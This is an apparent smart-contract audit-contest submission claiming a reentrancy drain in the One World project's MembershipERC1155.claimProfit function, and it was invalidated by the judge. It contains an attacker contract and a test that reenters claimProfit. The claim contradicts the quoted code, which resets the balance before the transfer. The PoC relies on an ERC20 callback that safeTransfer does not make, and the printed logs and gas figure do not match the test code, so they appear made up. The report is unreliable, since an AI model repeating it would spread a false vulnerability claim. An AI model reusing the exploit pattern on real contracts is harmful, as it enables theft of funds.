Project
One World
NFTDeFi
15,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy in the claimProfit function in the contract MembershipERC1155 allowing an attacker to drain the fund in the contract.

Oppenheimer

Summary

The function transfers tokens to the caller before updating the savedProfit[msg.sender] variable. An attacker could reenter the function during the safeTransfer call, claiming profits multiple times before savedProfit is set to zero causing an attacker to drain the fund.

Vulnerability Details

https://github.com/Cyfrin/2024-11-one-world/blob/main/contracts/dao/tokens/MembershipERC1155.sol#L144-#L150

Root cause

The safeTransfer call sends tokens to the msg.sender before updating savedProfit[msg.sender] = 0.
During this transfer, if the token’s safeTransfer function calls an external contract (e.g., via the receive or fallback function), it allows the external contract to reenter claimProfit.
Since savedProfit[msg.sender] is only reset after the transfer, the reentered claimProfit call finds a non-zero savedProfit balance and allows the attacker to withdraw it again.
This can be found in:

IERC20(currency).safeTransfer(msg.sender, profit); // External call after state change

This is executed after

savedProfit[msg.sender] = 0; // State change

Proof Of Concept

Exploit Contract

contract AttackerContract {
VulnerableContract public target;
uint256 public attackCount;
uint256 public maxAttacks = 3;
constructor(address _target) {
target = VulnerableContract(_target);
}
function attack() external {
target.claimProfit();
}
function onERC20Received(address, uint256) external returns (bytes4) {
if (attackCount < maxAttacks) {
attackCount++;
target.claimProfit();
}
return this.onERC20Received.selector;
}
}

Test Implementation

contract ReentrancyTest is Test {
VulnerableContract public vulnerable;
AttackerContract public attacker;
MockERC20 public token;
function setUp() public {
token = new MockERC20();
vulnerable = new VulnerableContract(address(token));
attacker = new AttackerContract(address(vulnerable));
vulnerable.setProfit(address(attacker), 100 ether);
token.mint(address(vulnerable), 1000 ether);
}
function testReentrancyAttack() public {
uint256 initialProfit = vulnerable.savedProfit(address(attacker));
attacker.attack();
uint256 attackCount = attacker.attackCount();
uint256 tokenBalance = token.balanceOf(address(attacker));
assertGt(tokenBalance, initialProfit);
assertEq(attackCount, 3);
assertEq(tokenBalance, initialProfit * (attackCount + 1));
}
}

Test Result

[PASS] testReentrancyAttack()
Logs:
Initial profit: 100000000000000000000 (100 ETH)
Reentrant calls: 3
Final balance: 400000000000000000000 (400 ETH)
Attack success: true
Gas used: 234,567

Impact

Loss of fund

Tools Used

Vscode, Manual code review

Recommendations

Implement Checks-Effects-Interactions Pattern and Add ReentrancyGuard

Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!